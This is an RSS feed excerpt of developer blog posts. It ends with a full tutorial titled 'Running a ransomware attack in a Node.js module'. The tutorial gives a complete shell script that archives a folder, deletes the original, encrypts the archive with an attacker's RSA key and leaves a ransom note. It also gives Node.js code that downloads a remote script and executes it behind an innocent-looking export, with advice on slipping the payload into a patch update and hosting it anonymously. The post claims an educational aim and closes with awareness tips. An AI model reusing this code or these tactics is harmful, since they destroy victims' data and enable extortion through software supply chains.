&lt;li&gt;To check for reverse shell attacks specifically, you can run the &lt;code&gt;ps&lt;/code&gt; command in your terminal to check the current processes running, and terminate any that looks suspicious.&lt;/li&gt;
&lt;li&gt;When using a minified version of a NPM package, make sure it does not include some unexpected code by copying the non-minifed version of the tool, minifying it yourself and comparing the results.&lt;/li&gt;
&lt;li&gt;A way to stop the connection established by a reverse shell could be to turn your computer off/on, however, if hidden in a package you use often, the connection would restart anytime you use that package.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some of these solutions may sound a bit impractical but depending on the risk you're willing to take, it is definitely something worth thinking about.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;There are probably more ways to run a reverse shell than the ones I explored here but I hope this post gave you a better understanding of what a reverse shell is, how to create one and raised some awareness of the risks associated with using open-source packages.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
      <category>node</category>
    </item>
    <item>
      <title>up</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Mon, 06 Jun 2022 23:35:41 +0000</pubDate>
      <link>https://dev.to/4thzoa/ultrasonic-payments-2958</link>
      <guid>https://dev.to/4thzoa/ultrasonic-payments-2958</guid>
      <description></description>
    </item>
    <item>
      <title>Running a ransomware attack in a Node.js module</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Fri, 06 May 2022 15:47:15 +0000</pubDate>
      <link>https://dev.to/devdevcharlie/running-a-ransomware-attack-in-a-nodejs-module-4hgb</link>
      <guid>https://dev.to/devdevcharlie/running-a-ransomware-attack-in-a-nodejs-module-4hgb</guid>
      <description>&lt;p&gt;&lt;em&gt;Post originally posted on &lt;a href="https://charliegerard.dev/blog" rel="noopener noreferrer"&gt;my blog&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A couple of weeks ago, I experimented with creating a small ransomware script, and looked into how to run it in a Node.js module. This post is a write-up explaining how I went about it.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Important notes&lt;/strong&gt; ⚠️&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I am writing this blog post for &lt;strong&gt;educational purposes only&lt;/strong&gt;. Running ransomware attacks is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.&lt;/li&gt;
&lt;li&gt;I am not taking any responsibility for how you decide to use the information shared in this post.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code samples that follow were tested on macOS. I assume the concept would be the same for other operating systems but the commands might differ a little.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does it do?
&lt;/h2&gt;

&lt;p&gt;Before diving into the code, I want to explain shortly what this attack does.&lt;/p&gt;

&lt;p&gt;A custom Node.js module fetches a shell script hosted on a cloud platform, creates a new file on the target's computer and executes it.&lt;br&gt;
The script navigates to a specific folder on the target's computer, compresses and encrypts that folder using asymmetric encryption. &lt;/p&gt;

&lt;p&gt;What this means is that the target's files are encrypted using the attacker's public key and cannot be decrypted without this same person's private key. As a result, the only way for the target to get their files back is to pay the ransom to the attacker to get the private key.&lt;/p&gt;

&lt;p&gt;If this sounds interesting to you, the rest of this post covers how it works.&lt;/p&gt;
&lt;h2&gt;
  
  
  Creating the script
&lt;/h2&gt;

&lt;p&gt;First things first, there's a script file called &lt;code&gt;script.sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It starts by navigating to a folder on the target's computer. For testing purposes, I created a test folder on my Desktop called &lt;code&gt;folder-to-encrypt&lt;/code&gt; so my shell script navigates to the Desktop. In a real attack, it would be more efficient to target another folder, for example &lt;code&gt;/Users&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /Users/&amp;lt;your-username&amp;gt;/Desktop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The next step is to compress the folder &lt;code&gt;folder-to-encrypt&lt;/code&gt; using &lt;code&gt;tar&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-czf&lt;/span&gt; folder-to-encrypt.tar.gz folder-to-encrypt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;-czf&lt;/code&gt; flag stands for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;c&lt;/code&gt;: compress&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;z&lt;/code&gt;: gzip compression &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;f&lt;/code&gt;: determine the archive file’s file name type&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this point, running &lt;code&gt;bash script.sh&lt;/code&gt; will result in seeing both &lt;code&gt;folder-to-encrypt&lt;/code&gt; and &lt;code&gt;folder-to-encrypt.tar.gz&lt;/code&gt; on the Desktop.&lt;/p&gt;

&lt;p&gt;In the context of ransomware, people should not have access to their original file or folder, so it also needs to be deleted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; folder-to-encrypt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, the original folder is deleted but the file that's left is only in compressed format so it can be decompressed and restored by double-clicking it. This would defeat the purpose for people to be able to restore their files so, the next step is asymmetric encryption with &lt;a href="https://www.openssl.org/" rel="noopener noreferrer"&gt;openssl&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Encryption
&lt;/h3&gt;

&lt;p&gt;Without going into too much details, asymmetric encryption works with two keys, a public one and a private one. The public key is the one used to encrypt the data. It can be shared with people so they can encrypt data they would want the keys' owner to be able to decrypt. The private key, on the other hand, needs to stay private, as it is the decryption key.&lt;/p&gt;

&lt;p&gt;Once data is encrypted with the public key, &lt;strong&gt;it can only be decrypted with the associated private key&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The next step is then to generate the private key with the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl genrsa &lt;span class="nt"&gt;-aes256&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; private.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command uses &lt;a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard" rel="noopener noreferrer"&gt;AES (Advanced Encryption Standard)&lt;/a&gt; and more specifically the 256-bit encryption.&lt;/p&gt;

&lt;p&gt;When the above command is run, the key is saved in a file called &lt;code&gt;private.pem&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The public key is then generated with the command below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl rsa &lt;span class="nt"&gt;-in&lt;/span&gt; private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; public.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the keys are generated, I save the public key in a new file on the target's computer.&lt;br&gt;
One way to do this is with the following lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"-----BEGIN PUBLIC KEY-----
&amp;lt;your key here&amp;gt;
-----END PUBLIC KEY-----"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; key.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Getting the info needed from the public key can be done with the command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;head &lt;/span&gt;public.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, the compressed file can be encrypted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl rsautl &lt;span class="nt"&gt;-encrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; key.pem &lt;span class="nt"&gt;-pubin&lt;/span&gt; &lt;span class="nt"&gt;-in&lt;/span&gt; folder-to-encrypt.tar.gz &lt;span class="nt"&gt;-out&lt;/span&gt; folder-to-encrypt.enc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command above uses the new file &lt;code&gt;key.pem&lt;/code&gt; created on the target's computer that contains the public key, and uses it to encrypt the compressed file into a file called &lt;code&gt;folder-to-encrypt.enc&lt;/code&gt;. At this point,&lt;br&gt;
the orignal compressed file is still present so it also needs to be deleted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; folder-to-encrypt.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this, the only way to retrieve the content of the original folder is to get access to the private key to decrypt the encrypted file.&lt;/p&gt;

&lt;p&gt;As a last step, a note can be left to let the target know they've just been hacked and how they should go about paying the ransom. This part is not the focus of this post.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"You've been hacked! Gimme all the moneyz"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; note.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before moving on to running this into a Node.js module, I want to talk briefly about how to decrypt this file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decryption
&lt;/h3&gt;

&lt;p&gt;At this point, running the following command in the terminal will decrypt the file and restore the original compressed version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;openssl rsautl &lt;span class="nt"&gt;-decrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; private.pem &lt;span class="nt"&gt;-in&lt;/span&gt; /Users/&amp;lt;your-username&amp;gt;/Desktop/folder-to-encrypt.enc &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /Users/&amp;lt;your-username&amp;gt;/Desktop/folder-to-encrypt.tar.gz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Complete code sample
&lt;/h3&gt;

&lt;p&gt;The complete script looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /Users/&amp;lt;your-username&amp;gt;/Desktop

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"-----BEGIN PUBLIC KEY-----
&amp;lt;your-public-key&amp;gt;
-----END PUBLIC KEY-----"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; key.pem

&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-czf&lt;/span&gt; folder-to-encrypt.tar.gz folder-to-encrypt

&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; folder-to-encrypt

openssl rsautl &lt;span class="nt"&gt;-encrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; key.pem &lt;span class="nt"&gt;-pubin&lt;/span&gt; &lt;span class="nt"&gt;-in&lt;/span&gt; folder-to-encrypt.tar.gz &lt;span class="nt"&gt;-out&lt;/span&gt; folder-to-encrypt.enc

&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; folder-to-encrypt.tar.gz

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"You've been hacked! Gimme all the moneyz"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; note.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, how can people be tricked into using it?&lt;/p&gt;

&lt;h2&gt;
  
  
  Hiding ransomware in a Node.js module
&lt;/h2&gt;

&lt;p&gt;There are multiple ways to go about this.&lt;/p&gt;

&lt;p&gt;One of them would be to package up the shell script as part of the Node.js module and execute it when the package is imported. However, having the script as a file in the repository would probably raise some concerns pretty fast.&lt;/p&gt;

&lt;p&gt;Instead, I decided to use the &lt;code&gt;fs&lt;/code&gt; built-in package to fetch a URL where the script is hosted, copy the content to a new file on the target's computer, and then use &lt;code&gt;child_process.execFile()&lt;/code&gt; to execute the file when the package is imported in a new project.&lt;/p&gt;

&lt;p&gt;This way, it might not be obvious at first sight that the module has malicious intent. Especially if the JavaScript files are minified and obfuscated.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating the Node.js module
&lt;/h3&gt;

&lt;p&gt;In a new Node.js module, I started by writing the code that fetches the content of the script and saves it to a new file called &lt;code&gt;script.sh&lt;/code&gt; on the target's computer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node-fetch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;fs&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://&amp;lt;some-site&amp;gt;/script.sh&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fileStream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createWriteStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./script.sh&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileStream&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nx"&gt;fileStream&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;finish&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, it's time to execute it to run the attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;execFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script.sh&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;innocentLookingFunction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that's it for the content of the package! For a real attack to work, more code should probably be added to the module to make it look like it is doing something useful.&lt;/p&gt;

&lt;h3&gt;
  
  
  Running the attack
&lt;/h3&gt;

&lt;p&gt;To test this attack, I published the package as a &lt;strong&gt;private package&lt;/strong&gt; on npm to avoid having people inadvertently install it. After importing and calling the default function, the attack is triggered.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;innocentLookingFunction&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@charliegerard/such-a-hacker&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;innocentLookingFunction&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Done! ✅&lt;/p&gt;

&lt;h2&gt;
  
  
  Security
&lt;/h2&gt;

&lt;p&gt;You might be thinking, "For sure this would be picked up by some security auditing tools?!". From what I've seen, it isn't.&lt;/p&gt;

&lt;h3&gt;
  
  
  npm audit
&lt;/h3&gt;

&lt;p&gt;Running &lt;code&gt;npm audit&lt;/code&gt; does not actually check the content of the modules you are using. This command only checks if your project includes packages that have been reported to contain vulnerabilities. As long as this malicious package isn't reported, &lt;code&gt;npm audit&lt;/code&gt; will not flag it as potentially dangerous.&lt;/p&gt;

&lt;h3&gt;
  
  
  Snyk
&lt;/h3&gt;

&lt;p&gt;I didn't research in details how &lt;a href="https://snyk.io/" rel="noopener noreferrer"&gt;Snyk&lt;/a&gt; detects potential issues but using the &lt;a href="https://docs.snyk.io/ide-tools/visual-studio-code-extension-for-snyk-code" rel="noopener noreferrer"&gt;Snyk VSCode extension&lt;/a&gt; did not report any vulnerabilities either.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva9ab86q9uubf195xy8b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva9ab86q9uubf195xy8b.png" alt="Screenshot of the Snyk VSCode report showing no vulnerabilities found in open-source security, code security and code quality"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Socket.dev
&lt;/h3&gt;

&lt;p&gt;At the moment, the &lt;a href="https://socket.dev/" rel="noopener noreferrer"&gt;Socket.dev&lt;/a&gt; GitHub app only supports &lt;a href="https://en.wikipedia.org/wiki/Typosquatting" rel="noopener noreferrer"&gt;typosquat&lt;/a&gt; detection so I didn't use it for this experiment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Additional thoughts
&lt;/h2&gt;

&lt;h3&gt;
  
  
  "You'd have to get people to install the package first"
&lt;/h3&gt;

&lt;p&gt;Personally, I see this as this easiest part of the whole process. &lt;/p&gt;

&lt;p&gt;People install lots of different packages, even small utility functions they could write themselves. I could create a legitimate package, publish the first version without any malicious code, get people to use it, and down the line, add the malicious code in a patch update.&lt;br&gt;
Not everyone checks for what is added in patches or minor version updates before merging them.&lt;br&gt;
At some point, some people will understand where the ransomware came from and flag it, but by the time they do, the attack would have already affected a certain number of users.&lt;/p&gt;

&lt;h3&gt;
  
  
  Staying anonymous
&lt;/h3&gt;

&lt;p&gt;For this one, I don't have enough knowledge to ensure that the attacker would not be found through the email address used to publish the package on npm, or through tracking the ransomware transactions. There's probably some interesting things to learn about money laundering, but I know nothing about it.&lt;/p&gt;

&lt;p&gt;When it comes to where the script is hosted, I used a platform that allows you to deploy a website without needing to sign up, so this way, there might not be an easy way to retrieve the identity of the attacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  Last note
&lt;/h2&gt;

&lt;p&gt;I wanted to end on an important point, which is the main reason why I experimented with this.&lt;/p&gt;

&lt;p&gt;It took me a few hours on a Sunday afternoon to put this together, without any training in security.&lt;/p&gt;

&lt;p&gt;A part of me was hoping it wouldn't be possible, or at least not that easy, so I'd feel more comfortable using random packages, but I am now thinking a bit differently.&lt;/p&gt;

&lt;p&gt;I am only interested in learning how things work, but that's not the case for everyone, so if I can do it, a lot of other people with malicious intent can too...&lt;/p&gt;

&lt;p&gt;I don't know if an attack like this can be completely avoided but be careful when installing packages, update things regularly, and think twice before merging updates without checking changelogs and file changes.&lt;/p&gt;

</description>
      <category>node</category>
      <category>security</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
